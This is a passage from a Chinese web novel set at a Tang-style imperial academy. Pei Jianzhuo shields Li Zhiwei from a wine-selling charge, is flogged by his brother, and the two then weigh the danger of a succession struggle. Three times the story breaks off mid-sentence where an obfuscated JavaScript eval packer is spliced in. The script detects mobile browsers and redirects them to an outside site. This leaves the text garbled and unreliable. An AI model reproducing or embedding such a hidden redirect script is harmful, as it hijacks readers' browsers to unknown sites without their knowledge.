李重宪却浑然不觉那般:“这里房屋低矮,罕见阳光,生活不便,又没有仆役乳母看顾,不是长久之计。”他语重心长,“地价贵处,虽买不起,租赁总还有办法?” “我看你房中所用的鲛帐乳香,各个价值千金。床上那条缭绫汗巾,更是稀世奇珍。想必应该也不缺这些钱。” 李知微望见李景毅身形一顿,心道不好:“这些不过……” 李重宪抢道:“缭绫巾以变色为佳,你床上那条,左看是粉,右看是蓝,亮处是青,暗处生白。我尚是幼童时,曾随母亲入宫,因在台阶上摔倒哭闹,长主垂爱,便用缭绫帕为我拭泪,至今不曾忘记。” 国朝的长主,向来特指一人。 裴照元的妻子,裴见濯的长嫂。 李景毅收回出院的脚步,将身一转,指道:“等等。这两间,还没查过。” 那两间酿酒的空屋! 李知微勉力握住双拳:“学院只配给我两间房屋,方才都查过,这两间是无主的。” 李景毅的脸比六月的天还要变幻多彩:“没人用,不就是你的了?”他变得极不礼貌,唇角下撇,怒气横生:“打开!” 羽林卫听从命令,将锁一刀劈开,大门犹如深渊巨口,不断吸人入内。 李知微听见自己上下牙碰撞的细声。 酸涩的酒气混着牡丹花香,还有石灰的苦涩,渐渐传出。 李景毅缓缓走上台阶,却没有进房间,居高临下俯视知微:“你还有什么话说?” “这不是我的房间。”李知微直接否认,“我不知道。” “就算不是,一院之内,你也难逃包庇——韦弘贞,如今已有赃物,你还不说此人姓名?” 李重宪也劝说道:“如今已有物证,你不说,便是不知悔改了。” 被遗忘多时的韦弘贞再次汗如雨下。 李知微是无辜的,酒是他要来的,但是……没办法! “是、是、是……” 李知微闭住眼。 聪明反被聪明误,聪明反被—— “是我。” 众人钉在原地,只转动眼珠,不敢锁定声音来源。 裴见濯走到李景毅身边,越过他,把两边门全然打开,作了邀请的姿势,示意众人入内。 李景毅一字一顿,暗含威胁道:“是你什么?” 裴见濯全然忽视:“是我卖酒给韦弘贞的。” 鸦雀无声。 门户洞开,扇起一阵风,吹动地上揉皱的缭绫汗巾,像一只垂死的蝴蝶,跃跃欲飞,又沉沉坠地。 “对。”韦弘贞憋红了脸,大声说,“是他卖给我的!” 整个昭文院里最有可能获得天地同春的人。 “我、我仰慕裴相,可惜年少愚钝,不曾被父母带去拜见,这才问裴见濯买酒。想着、想着给了他这么多钱,他或许会在裴相面前提一提我的名字……” 可怜的蠢货,替死鬼。 李景毅不再理韦弘贞,直对裴见濯:“你昨天没来上课。” 你怎么联系到韦弘贞的? 裴见濯一笑:“课可以不上,钱不能不赚。我没来,今天早上你怎么遇见我?” 昭文院在宫城含光门内,宵禁以后除非皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349938|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诏令或重大军情不得开启,裴见濯必然昨夜睡在院中。 “所以。”李景毅面上呈现出一种怪异的愉悦,他指一指李知微,又指指裴见濯,“你在李知微院内交易,你卖酒,他包庇。” “什么他的房间,你耳朵不好?”他微微歪头,意思是让李景毅把脑子里的水倒出来,“你没听他说吗,这院子只有两间是他的,还有两间跟他没关系——那两间房,是我的。” “你的?” “我住宿啊。”他笑起来的时候,因为上牙微尖,还有些少年人特有的活泼与顽皮,“你们不知道?” 当然不知道! 可如果他住宿,在自己的房间里酿酒,就和李知微一点关系也没有了。 人最痛恨的不是抓不住鱼,是手在鱼鳞上滑腻的那一瞬间。 既已图穷匕见,如何功亏一篑。 李重宪道:“二郎,我知道你们是同窗好友,可是……况且,学院住宿条件严苛,你恐怕不符合吧。” 裴见濯明知故问:“入学时候给的册簿上明明白白写着,父母双亡、未有家室、住处偏远难以为继者可以申请住宿,我哪条不符合?” 除了未有家室,你哪条符合了?! 李重宪看在他兄长面上,再次遏制怒气,提醒道:“二郎,你家住崇仁坊。” “房子是裴照元的,不是我的。准确来说,这是圣人给宰相的赐第。”裴见濯微笑道,“我房子在旁边县上,离学院二百多里地,要我每天来回,不大合适吧?况且,要不是难以为继,我也不会出此下策卖酒嘛。” 他再次区分明确:“钱也是裴照元的,不是我的。” “而且,我爹真的死了啊!” 众人齐齐绝倒。 裴见濯十分坦然,甚至弯腰捡起地上的汗巾,好心好意告知李重宪:“缭绫还有第五种颜色——湿的时候,是黄色。” 看来你哭的不够响,她给你擦眼泪,怎么没擦出第五种颜色来? 夏天温度高,裴见濯酿了一缸酒,开盖通了一晚上风,腐臭气味便在花香米酸中隐隐浮动。 裴见濯抖抖袖子,露出手腕,示意羽林卫将他捉拿回禀,或带他面圣,虽然昨天他才从宫里出来。 据他所称,辞别圣人后,刚好到了下课时分,他根本没出含光门,而是直接到了昭文院睡觉,在路上碰见韦弘贞,卖酒给他。 李景毅终于找到了自己的声音:“你房间里根本没有床,你昨天睡在哪里?” 你和李知微睡在一起,他包庇。 裴见濯语气怜悯:“同窗好友那里,怎么了,不可以?” 李景毅咬牙挥手:“带走!” 羽林卫根本不敢像提韦弘贞那样提裴见濯,即使后者温驯至极。但他们还是没敢上铐,甚至两边胳膊都没碰一下,就守护似的围绕着。 李知微目送着一行人离去,什么也没说。 他清白了,前所未有的清白,一切都是裴见濯恶劣至极、监守自盗,在皇帝看来,这只是一个欲望膨胀的年轻人,遇见了管教严苛的兄长,所以不得已偷自家的酒出来卖。 仅此而已。 万籁俱寂。 李知微没有回去上课,而是去了裴见濯的房间,拎起里面的陶缸,清掉里面的米,开始洗刷酒渍。 暑气浮动,一层层烧着他的背。 善思走了出来,他大概听见了什么,又没听懂,井水被黄土烧得滚烫。 李知微抬起头:“怎么了,不开心吗?” 善思被父亲善解人意了,松开小眉毛:“嗯。” 李知微强打起精神:“他们闯进来,吓到你啦。” 善思又点点头。李知微把陶缸里的水倒干净,善思很哀愁:“他们进来,为什么不告诉我?” 李知微告诉他:“你比他们大,他们就会问你。” 善思知道,这个大说的不是年龄:“什么最大?” 李知微回答他:“皇帝最大。” 善思说:“我要做皇帝。” 李知微笑了,笑着笑着,他发现陶缸里还沾着两粒米,把手伸进去掏一掏,在指尖碾成碎末,又舀起一桶井水继续冲刷。他想起很久以前见濯要在井里湃个香瓜,但井口太小了,他比了比尺寸,感觉不够,知微和他一起趴在井边忧愁着。 井水无波,照沥肝胆。 他忽然变得无所适从、无所凭依,扒住井边,探出头去,问井里的那个人:“完了,他爱上你了!” “这不是你想要的吗?” “这是我想要的。”李知微说,“可我不开心。” 13. 绿蚁第二7 裴见濯没来上课。 第一天没来,第二天没来,第三天,还是没来。 暴雨方霁,孝明太子的死亡紧接着生起飓风,风尾掀翻昭文院的鳞瓦,书院里陆陆续续开始少人,或是举家戴罪,又或是家长担心孩儿年少,在昭文院落了口舌把柄,强捺住不让出门。 风声鹤唳。 徐淑妃死了孩子,开始胡乱攀咬。大家伙都说她疯了,小孩子夭折太正常,怎么在她口里所有人都在害她的孩子?压胜、牵机,还有被打落枝头的柳絮。 皇帝说,那就查吧。 他正值壮年,雷霆手段,将上书请求过继宗室子的御史押出国门,又给淑妃娘家集体封官。那位曾经大肆宣扬他姑姑脂粉数目的徐家子弟再没来上学,徐家已永久失去希望,族中也没有能人,这些虚衔不过是皇帝可有可无的安抚。 意忽忽不平,心惶惶不宁。 没人在意接下来的功考,李知微无人问津,账上许久没有新墨,钱还很够花,他早过了最捉襟见肘的时候,只是有那么一瞬间,他打开来,摸了摸上面裴见濯的字迹。 裴见濯放荡不羁,笔下却沉雅典丽,内敛秀美,极有古人风度。 他也有沉下心练字的时刻吗? 中午,李知微没有吃饭,回到小院中。 不属于他们的房间上了锁,原来这才是没人住的样子——他只记得有一天,门被风吹开,呼啦啦、吱呀呀,他怕吵着善思睡觉,披衣提灯去看,发现上面的锁不翼而飞,他准备第二天报给录事来修。 和裴见濯说起这件事的时候,他说,那是锁老了,管它干什么,又没人住。 是啊,昭文院哪来第二个和他一样的学生? 李知微放下心来,不知道从哪一天起,他会在里面堆一些货物,或是进去打扫打扫,霸占得久了,他竟生出这些是属于自己的错觉。多好,四间小院,一口水井。 源源不断供给他钱财。 他想到这里,热烈希望又冲破悲哀,开出花来。 裴见濯爱他,当然因为他好,他非得要更好不可,不然,不是白爱了吗!就像善思,善思爱他,需要他,一心一意、心无旁骛,他就要做个好父亲,不然,不就白把他生出来了吗! 漫卷轻愁终于消散,他看见善思和一只狸猫待在院中,大抵是前段时间来捉过老鼠,这只狸猫熟门熟路,一直试图接近善思,却被他远远避开。 他是个很谨慎的孩子,上次摸猫的惨痛教训告诉他不能轻易上手,于是就把自己的肚兜拿出来,捂住口鼻,又拿出冬天的手套,轻轻抚摸猫的背。 大夏天,热出一头汗。 李知微走进来,狸猫就跑了,蹭蹭蹭,从飞檐挂到树梢。 善思抬头看他:“我没想到黑黑会来。” 这其实是一只彩狸,但可惜后厨生火的老吴发现它时,它刚在灶里滚了一身黑,被误以为是只黑猫,就叫了这个名字。有一次这猫不见了,老吴还托李知微帮他留意,散学的时候李知微在墙角发现了,竟情不自禁喊出一声:“黑黑!” 裴见濯问他怎么笑成这样。 生活里好像全是他。 李知微苦恼着,和孩子开玩笑:“不是所有事情都能想到的,你想到我会中午回来吗?” 善思摇摇头,又开始展现自己的友好:“我已经把小床支好,等着流……等着他了。” 明天休息。 李知微怀疑善思给裴见濯起了什么外号,但没有细问,他蹲下来,和善思一样高:“咱们把小床收起来吧。” 善思有些失落,“哦”了一声,他俩回房间把小床收好,折架子的时候,知微开口:“爹爹送你去外祖家里待几天,好吗?” “几天?” 李知微说:“几天的意思,就是很久。” 善思哀伤地:“很久?” 善思出生以来几乎没有离开过李知微,李知微不知道对孩子来说多久才算久,他算了算时间:“一个月,最多一个月零三天,好吗?” 善思知道一个月零三天准确来说是三十三天,三十三是个很玄妙的数字,经上说有三十三天,菩萨有三十三相,三十三天后,父亲会来接他回家。 善思伸出手,摩挲父亲的袖子:“我不喜欢外祖家。” 李知微说:“外祖是阿娘的爹爹,他爱阿娘,就像我爱善思一样,阿娘去天上,他会把对阿娘的爱给善思。” 善思疑惑着:“可是,他让我管小姨叫娘。” 李知微没有说话,只是抬手摸摸善思的头,过了很久,善思问他:“小姨是娘在凡间的化身吗?” 李知微摇头:“不是的。娘就是娘,小姨就是小姨,但,小姨是娘的妹妹,她爱娘,就会爱善思。” 善思推理道:“外祖母和舅舅也会?” 李知微点头。 龙潭虎穴变成了甜蜜窝,善思羡慕阿娘有这么多人爱,他在寂寥的院子里,只能翘首等待黑黑的到来。可他又想,阿爹的阿爹、阿娘、妹妹、弟弟在哪里呢? 他从来没有见过。 趁中午的时间,知微给善思收好了行李,好几个软包硬箱,层层叠叠堆在一块儿,房间顿时空旷起来。善思看得瞠目结舌,知微让他坐在软包上,以便挤压更多空间。 善思坐在软包上沮丧着。 他有记忆以来一直住在昭文院,没想过搬家,也没发现自己有这么多行李。难道行李和人的体积是成反比的?父亲的东西,穿插在他的缝隙中。 而李知微却很有成就感。 善思的东西多,他的东西少,证明他真的有好好在照顾孩子,对着阿閦佛,对着薛妙施,他都挺得直腰杆。至于他自己么,喝得了脏水,吃得了馊饭,穿得了破布,怎么折腾也不生病,实在是天生好命。毕竟他娘死得早,爹呢,也实在不缺这么一个孩子,要是没那么硬的身板,压根撑不到今天。 长出一口气,他要善思在家里等到下课,出门,发现黑黑还在附近徘徊,顺着猫头的方向一看,李知微发现自己的屋檐下不知何时挂了两根鱼干。 晃荡、晃荡,像风铃。 他把鱼干用竿子捅下来,看见绳子上一点炭烟痕迹,忽然觉得不好受,但他这个人就是这样,不好受不好受着,也就好受了。振作起来,把鱼干喂给狸猫,又提着它的后颈皮,把它放到小径上。 猫像旋风一样刮走。 整个下午,他都在写善思的注意事项。 不能住在水边,也不能住在园旁,水中多蚊虫,他很招叮咬;园中有花草,他容易起红疹。 酥山冰酪,绝不可食。居处不可多用冰。 不用羊毛毯,要用芦苇毯,除了他那只布老虎,不要给他别的玩偶。 鱼虾牛羊,不好;瓜果枇杷,甚佳。 常用的药在绿油匣子里,急用的药在桐油匣子,保命的药是白瓷瓶,上有薛喑的戳。 喝药,是不用给他奖励的。 他早就习惯了。 读书的话正在学《童蒙》和《千字文》,睡前故事是《礼记》,最喜欢乐令篇。 他这边奋笔疾书如入无人之境,先生那边呢,早懒得管他这个大龄留级生,同学们也不怎么搭理他,一夜之间他就成了瘟神,如果见濯在,自然不会这样,他永远有办法比李知微更瘟。 想到这里李知微又笑了,想起见濯的便利,是想裴家的马车可以放下善思的行李,还是想裴见濯愿意给他扛东西?这是个问题。但总之,裴见濯不在,放了学,李知微步行去旁边坊市雇了辆车,又借来后厨的运菜板车,把行李咕噜咕噜推到门口,老吴听见声响,出来看他。 他常年忙活灶头,专拉风箱的两根煤黑手指搓一搓:“哎,李郎,你要搬走么?” 李知微笑了:“我不搬走。孩子想外祖了,去住两天。” 老吴素知他这孩子金贵:“也是,也让孩子和外祖家亲亲,这多好!我帮你推吧!” 李知微说:“不用啦。”老吴以为他只是日常推拒,没想到他抬抬下巴:“黑黑跳到树上去了。” 猫爬树是天性,这么奇怪干什么? 老吴刚回头看,板车咕噜噜、咕噜噜的声音就响起来,李知微身体力行地拒绝了他的好意,走了。 李知微这件衣裳,是本身就这么黄,还是被太阳染的? 没人知道。 黄昏时分的永乐城仿佛金笼,天是盖子地是托,块垒分明的坊市是一条条栅栏,圈着价比千金的交趾鹦鹉,还有一粒米就能骗来的麻雀,群鸟在钟声下歌唱,朝拜蓬莱宫楼顶的凤凰,天地的尽头是否真的有佛陀在观察世间,让善者得善,恶者得恶? 善思在笼子里睡着了,李知微摸摸他的脸颊,抱着他下了马车,难得踩了凳子。 薛如明带着两个仆人哼哧哼哧抗东西进屋子,薛延祚则蹑手蹑脚、喜不自胜地从他怀里抱过外孙,像捏着一片柳絮,打雷一样的嗓子捏得很细,他说妙持做了几道好菜,就等着姐夫来尝尝手艺,还说已经给善思准备好了朝南的房间——当然,他本来准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊,什么时候?要不我这里拿些钱,你去买点补品……”想到这儿,他又有点心疼钱,“裴相什么样的东西没有,知微,你诚心诚意去便可以了,他多半是看在弟弟的份上,你也记得谢谢裴二公子。” 李知微笑道:“是啊。我正要多多谢他。”指着马车:“我这就要去了,不然,便要宵禁了。” 薛延祚心思又转,想李知微就算现在去不宵禁,等拜访完也必然天黑,天一黑,要么留宿裴家,要么呢,就得裴照元亲自写条批准他夜行……这是何等的面子,左右都是他赚!一边想着这女婿灵光,一边又催促道:“那你快去吧!哎,不行,坐马车慢,如明,给你姐夫牵马!” “哎!” 刚扛起一个小箱子的薛如明累得满头大汗,又快步牵出家里唯一的马,马尾轻扫,知微绝尘而去。 薛延祚弯腰,牵起外孙的手:“善思见过裴相吗?” 善思刚睡醒,着重听了个“裴”:“嗯。” 薛延祚心中风雨大作:“他对善思怎么样?” 善思小小打了个呵欠:“没我好!” 薛延祚失笑:“哪里没你好?” 善思说:“他五天才来和爹爹睡一次,我每天都——哎哟!” “睡??!” “哎哟!” 善思还没来得及反应,整个身体就被薛延祚带得倒在门槛前,额上明显肿了一块。 顿时天下大乱,他的外祖母窦氏从家里跑出来,抱住他:“不哭不哭、没事没事!长龙角了,咱们善思长龙角了……” 龙角是什么? 善思只觉得额头很痛。 外祖母把他抱起来。往前看,身量未足的薛妙持踌躇着是否近前;往后转,父亲的影子早就消失在路口,只有稀疏的几棵矮树,什么也遮不住。 咚——咚——咚—— 钟声如雷,极速响过,裴宅仍开大门,玄甲卫士左右巡逻,却对骑者视而不见。 微微泛黄的白色滚落马来,笼手于袖。 颠簸马背晃出他两缕碎发,深青、微黄,一笼黄昏时的薄雾。 咚—— 崇仁坊离丹凤门最近,第三千下钟声震耳欲聋,触达墙垣,久久回荡。 “我是李知微。” 不见经传的名字,像极了那些徘徊在相府周围试图偶遇主人抑或哪位嘉宾的举子。 没有烫金的名刺,只有简短的介绍。 “见濯的同学。” 14. 绿蚁第二8 “相公说今日晚些来查你的孝经书写,你写的怎么样啦?” 裴宅无女主。公主自有府邸,又无舅姑之礼,难得踏足,多是裴照元前往拜见;裴见濯未娶,也无妾侍。偌大后宅,兄弟二人划界而居。 东府为裴照元所居,筑山穿水,清閟绝尘。行至深处,唯有空翠侵衣、泠然怪石,全然东篱之景。 西园奢靡铺张,沉香作梁,珊瑚砌池,自雨亭凛如高秋,绸缎裹住竹棚从前宅直搭寝阁檐下,彻底隔绝暑气。 是裴见濯的天下。 裴见濯怕热,房内窖冰日夜不停,三伏天进来也得穿夹衣,活脱脱一个冰雪窟窿。 崔媪的声音穿透霜绡帐幔:“怎么不吱声,屋子也这样冷!”还不等见濯应答,又是一顿数落:“他们都由着你性子来,任你摆这么多冰,盖这么厚的被子,也不晓得怕冷还是怕热。” 裴见濯在外生长了十来年,与裴宅中的仆婢一概不熟,哪怕就在眼下,也不言不语,只和奶他到大的乳媪崔氏亲近,还肯听进去两句话。 崔媪人至中年,虎虎生风,一把掀开帐子,吓得裴见濯立刻往里滚去:“我里面没穿!” “你哪里我没见过?”崔媪好气又好笑,“别乱动,背上还有伤!” 裴见濯驳道:“你来我才钻被子的。” 见他裹成个直挺挺的棍,崔媪作势要走,又忍不住劝道:“眼下时辰还早,好歹写两个字,就说疼得受不住,写不动,相公还能打你不成!” 这话说完,她自己都心虚了。 裴照元真的打。 裴见濯前日闯祸,将自家酿酒卖给同窗,偏撞上国丧,给有心人捅到御前。幸而长公主在旁劝了两句,圣人给妹妹面子,让裴照元自行处置。 裴照元大开中堂,毫不掺水,抽了弟弟八十鞭。 他娴习弓马,从前在羽林卫就打服一众子弟,就算过了这些年,手劲也不是开玩笑的。 为掩盖这种心虚,她点点见濯的枕头:“该!为了个掉进水里都没响的六百贯,弄成这样。” 她实在想不通,裴见濯屋檐大喇喇挂着的风铃,上头零件都是商周金石,怎会缺这六百贯? 裴见濯没和她说,六百贯是足足六十万个铜板,一个个扔,要不眠不休、不吃不喝地扔七天,无论如何都是能有些响动的。 “还是你那同学不好!”崔媪迁怒,“哪能总在黄字斋。昭文院那刘什么,是相公学生,回头让他……” 裴见濯钻进被子里:“阿母!” “这有什么,咱们有事要他做,他开心还来不及。”崔媪毫不在意。 真是宰相门前七品官,宰相亲弟弟的奶妈,无论如何也算个五品大员,她自觉这个任务很合适,又嫌弃昭文院一帮人蠢笨,天大的好处也不知道捞。正施施然要走时,听见仆役来报:“郎君,有客来访。” 崔媪皱眉道:“郎君在休养,天也晚了,叫他明日来。” 仆役支支吾吾道:“他说是郎君的同学,姓李。” 崔媪一听,横眉倒竖:“可是那害了我儿的蠢材!”话音未落,又魂飞魄散:“祖宗,起来干什么?!” 裴见濯已从床上弹起,龇牙咧嘴地扶住桌子:“让他进来!” 崔媪一看他身上正穿着亵衣,心疼道:“想吃樱桃说一声,别乱动弹。哎哟,出血了!” 裴见濯浑然不理,用尖牙咬破果肉,涂在唇上,抿了抿:“阿母,给我拿那件黑的衣服来。” “那件预备明天穿的,还没放笼上熏过……哎!” 撕拉—— 裴见濯竟直接将身上亵衣扯脱,血痂崩裂,看得人心惊胆战。 足足八十下沟壑纵横,上至脖颈下至臀/丘,菜花蛇长鱼鳞一般,五天过去,还有地方没长出新肉。 崔媪顿时心痛不已,仆役出去半日,她才反应过来害了见濯的同学姓韦,而这个姓李的大抵无辜:“这都宵禁的点了,他家住哪儿,我叫个马车送他。” 裴家的马车,给武侯十个胆子也不敢阻拦。 “不用,他晚上和我在一起。” “晚上相公还要查你的孝经!”崔媪忧心忡忡。裴照元这些天为弟弟的伤,日日早归,翻遍医书,显是真心疼惜。 可这兄弟俩…… 她暗中摇头,退出房间,忽见锦棚底下,仆役掌灯,引着一位白衣书生前来。 路边齐人高的铜檠灯轮夺去明月光辉,丝绸笼衣裹住香烛,在地上投出陆离纹路。 喜鹊援桥攀上来人袍摆。 这灯不知用了什么机巧,只要点燃烛火,外面的灯衣受热就会开始转动,投在地上的影子也随之而变化,不一会儿,鹊桥相会就成了玉兔捣药,迢迢银汉、晓星渐沉,来人从袖下伸出手,接住投在地上的一只喜鹊。 烛火跃动,兔子也时高时低。 “看影戏呢?”崔媪一转头,是见濯靠在门框上,“还是看我?” 兔子从衣袖上剥落。 李知微从头到尾没说一句话,直到关上门,才望着他,低低道:“来看你。” 裴见濯这时候才觉得心中熨帖,瘙痒似的从鼻腔里哼出来一声:“再晚来两天,我都好了。” 李知微道:“我看看。” 裴见濯不让:“骚模骚样的,没说两句话就让脱衣服?” 李知微直接动手了。 脱他的衣服,李知微十分熟练,手伸入衣襟解开系带,见濯的整个怀抱就敞开,他没有把衣服拽下来,而是缓缓地、缓缓地,面对面望着见濯,以拥抱的姿势,用指腹感受他背上的痕迹。 鲜血、痂痕、凹陷。 八十鞭。 李知微来之前,一直怀有侥幸心理,他想裴照元是个文人,又对着自己的亲弟弟,一定收敛力气,可手缩回来,指腹上粉红一片,裂开的伤口。 他害的,他有意,自作聪明。 “见濯。” “嗯?” 李知微强自镇定:“你什么时候问院里要的房间?” “前年,大前年?刘珂刚来做院丞的时候。” “怎么忽然想要一个房间?” “又没人要。”裴见濯答得随意。 李知微不语。 “你放心,刘珂虽然是裴照元的学生,但他按章程办事又没错,并没有徇私,我的确是符合条件。况且这个条件是陛下当年改的,谁敢说改的不好。” 李知微不是害怕,他只是想,裴见濯是去年才和他在一起的。 刘珂做这个院丞,却已经三年了。 三年前,他和裴见濯并不是很亲密的关系,李知微热脸贴了一年的冷屁股,才换得他偶尔应几句声,愿意掀起眼皮看他两眼。 背篓太沉太旧,走到门口散了架,呼啦啦大厦将倾,李知微蹲在地上一样样捡,见濯走到他跟前,帮知微抱了几本书回家,看见善思在院子里踩影子,又看见落锁的两扇房门。 “撒谎。”李知微说。 “不信算了。”裴见濯说。 李知微也很想相信,相信裴见濯是随口要的房间,而不是为了帮助一个生计艰难的同学,帮他多要一些地方,哪怕这个同学后来和他发展了亲密关系也一样。 当时他帮我,什么也不图,连□□也不欲求。 可我图他! 我保证,李知微在心里唤起阿閦佛,祷告道,我发誓。 如果未来有那么一天。 他仰起头,望着裴见濯,誓言就此停止。 他该怎么许诺,许诺给他一切的荣华富贵,还是许诺他永生永世不离不弃?前者见濯视如烟云;后者,听起来像他反赖上去那样。 万一见濯不喜欢他了,不离不弃也是一种累赘。 山无棱、天地合,冬雷震震夏雨雪,都是永远啊。 多吓人!他那时候稍稍有些理解了韦弘贞,大概人在不过脑子的时候都爱说这种话,他想来想去,不断措辞,最后说:“见濯。” “嗯?” “你樱桃汁染到牙上了。” 人在一起久了,美丑香臭都无所遁形。裴见濯低头,用牙蹭李知微的唇,李知微望着他,望着他,誓言就阻塞住。 李知微相信誓言的力量,所以,每次发誓都慎之又慎,说不出惊天动地的话语。 因为他只能管好自己,管不了别人,譬如他爱善思而不要求善思爱他,也很能理解自己的泰山与岳母。 怎么发这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他对李知微分享了自己的藏宝室。 最先撞入眼帘的是李知微前几天送他的白革马球杆,香囊、巾帕、五色丝……零碎的小物件塞满架子,像松鼠藏起的坚果。 “这是毡帽?” 裴见濯“唔”了一声:“嗯,阿母做的。当时还在扬州,她去找匠人学来,为我做了好几顶,叫我每天戴着,有一回我从台阶上滚下来,帽子破了,头没事。” “阿母?” “方才你进来时看到的,我的奶娘——我没和你说过?” 裴见濯和他说过不止一次阿母,但李知微以为那是他的亲生母亲。 他这么可疑一顿,不由裴见濯生疑:“应当说过的。那天在薛家门口,你不是说我姓崔?” 因为你母亲姓崔。裴照元和裴见濯的母亲,博陵崔氏有名的才女,因裴照元功高,又有个公主儿媳,特追封郑国太夫人,垂范闺闱。 你怎么会觉得我说你姓崔氏因为乳母? 李知微心下惊疑,又不敢深问,岔开话题:“说过,你说她还给你学扬州儿歌哄你睡觉,害你不会官话……这青铜镜是扬州特产,赵先生送的?” “是。” 李知微洋洋得意:“我看背后刻着蟾宫折桂,就想是师长所赠。” 见濯会把喜欢的礼物藏在密室,李知微因在其中占据半壁江山,颇感得意,一路浏览,又在架中深处,发现一卷残书。 “《孝经》也是他给的?” “不是,打开看看。” 李知微依言翻开,见上头除原文外,另誊批注,想法极其独到,令人耳目一新。 裴见濯问:“写得怎么样?” 密室幽静,竟显得他声音游弋如丝。 李知微兴奋翻阅。 历朝历代以孝治天下,《孝经》又为十六经中最短,仅两千字不到,童子开蒙也用此文,与《论语》并重。 据说裴照元当年应府试时才十四岁,童蒙未褪就一举夺魁,当时便有人酸醋:“毛都没长齐还敢下场考试,不过仗着运气好,恰巧今年考了孝经,若考易、礼,他哪有今天!” 裴照元一笑置之。 李知微忘乎所以。 “写得当然好,这是不是你兄…裴公当年为孝经作的注?” 15. 绿蚁第二9 话音甫落,李知微觉出不对。 他提了裴照元。 在他和裴见濯之间,裴照元不是一个禁忌词,不提这个人,很多对话无法进行,李知微惯会观色,久而久之总结出了一个规律:“裴照元”“裴公”“裴相”称之无碍,最要提防的是“你兄长”三个字。 裴见濯最讨厌和裴照元扯上关系。 果然话题就此终止。裴见濯对他尚能容忍,仅作掠过:“不是。”但随之意兴不振,领着他走出密室,知微见他身上衣料吸附后背,上手一摸,果然伤口渗出了一些残液。 李知微把见濯摁在榻上,净手上药。衣裳剥落的时候有些粘,他嗔怪道:“怎么药也不擦,专等我来?” 裴见濯趴在榻上:“嗯。没想到你今天来,善思一个人在家?” 李知微点头:“我把善思送到薛家去了。” 见濯开始神情如常,以为知微只是如平常那样把儿子送过去见见亲人,又或者还在打算让善思去读薛家蒙学。 直到李知微说:“过年也不一定回来。” “嘶——” 裴见濯动作一大,就痛得倒抽冷气,握住李知微的手:“怎么,你还要再坐一回他家东床?” 这节骨眼上,把儿子送过去和小姨联络感情? 李知微抛出一句:“有人要害我。” 说完,李知微盯着裴见濯,捕捉他每一处细微的表情。 没有惊诧。 看来他早知道。 李知微忽感脱力。 他是裴照元的弟弟,裴照元因为魏王之死被扣留在政事堂五天,长宁公主带他进宫告祭,魏王的棺椁至今还在宫城内停留,悬在所有人头顶。 皇帝死了儿子,皇帝绝后了!人选就那么几个,韦弘贞知道,李景毅知道,李重宪知道—— 裴见濯,最知道。 李知微深吸一口气,开始争取裴见濯。 这时候,他觉得他不是爱人,而是攻城略地时的旗帜。 “魏王薨逝后几日,善思受寒发烧,我想带他出门看医生,却被学院拒绝,不许我进出。复学以后,韦弘贞前脚进门,李景毅后脚发现,欲置我于死地;前面是他们不愿担责,后面是巧合。”李知微说,“今天中午,我回家去,发现有人把猫放到了院子里。” 他捻住衣袖上一点煤灰,试图用指腹擦去。 “见濯,我没有办法。善思不能一个人待在家里,我想来想去,只有薛家不会害他。”李知微垂着头,就像无数次当着裴见濯在阿閦佛面前祷告那样,最瘦的时候蝴蝶骨支棱起来,伶仃顶起衣料,“我不会娶她,我不想再害一个人,我有罪。” 裴见濯沉默着,沉默着。最后,他说:“让他们去抢吧。” 他们是谁,他们在抢什么,两个人彼此心里清楚。 李知微心中一凛。 裴见濯说:“不要去薛家,薛延祚鼠目寸光,薛延清唯利是图,你去我家。” 他愿意! 他知道薛延清…… 等等,去?“去”字是什么意思? 他垂眼的时候刚好看见榻边小几上覆着的流苏布,珠光摇晃,如悬十方明月。 李知微还没反应过来。裴见濯继续道:“我在万年县有一套宅子,是从前长辈留下,外人并不知晓。你带着善思住过去,我叫刘珂给你办病休,这事就在眼前,最多明年这个时候,一切都尘埃落定,到时候你再回来……不,我们一起过去。” 他愿意和我分担一切,就是不愿意帮助我。 李知微在战争中夺取了旗帜,却没有获得旗帜背后的城池。 到底哪里出了错? “那以后呢?” “以后?” “你我平安得了一时,平安得了一世吗?等到天下缟素,李景毅、李重宪,不管哪一个赢,都不会放过你我。” “谁告诉你就是他们两个了,三条腿的蛤蟆少,姓李的遍地都是。” 皇帝也没说从昭文院里选,都是大家乱猜的。 李知微是两条腿的蛤蟆,不稀奇,落魄的可怜。 藏书楼自有清幽之处,他避过人群,走小径回家,这条路通往后灶,等闲学生不知,又年久失修,只剩下抔抔潮湿黄土,猫爪印过,李知微埋头踩着串梅花脚印一路向前,想一二时辰前这只偷闲狸奴摆尾的姿态。 走着走着,他发现小路尽头有一个人。 李景毅面无表情、长身肃立。 李知微不想和他说话,绕过他前行,却没想到他横挪一步:“李知微,你真是没有一点心肝。” “卖酒的人是你。”李景毅直接下论断,李知微没有反驳,“裴见濯这个蠢货,为你顶罪,而你却在这里——” 他形容不出李知微方才的姿态,万语千言,汇成一声哼哼。 李知微语沉如水:“罪在我身上是罪,在他身上,只是个小错而已。你联合王竑弄出这么大动静,最后押上去的人却是裴见濯,到底谁是蠢货?” “你!” 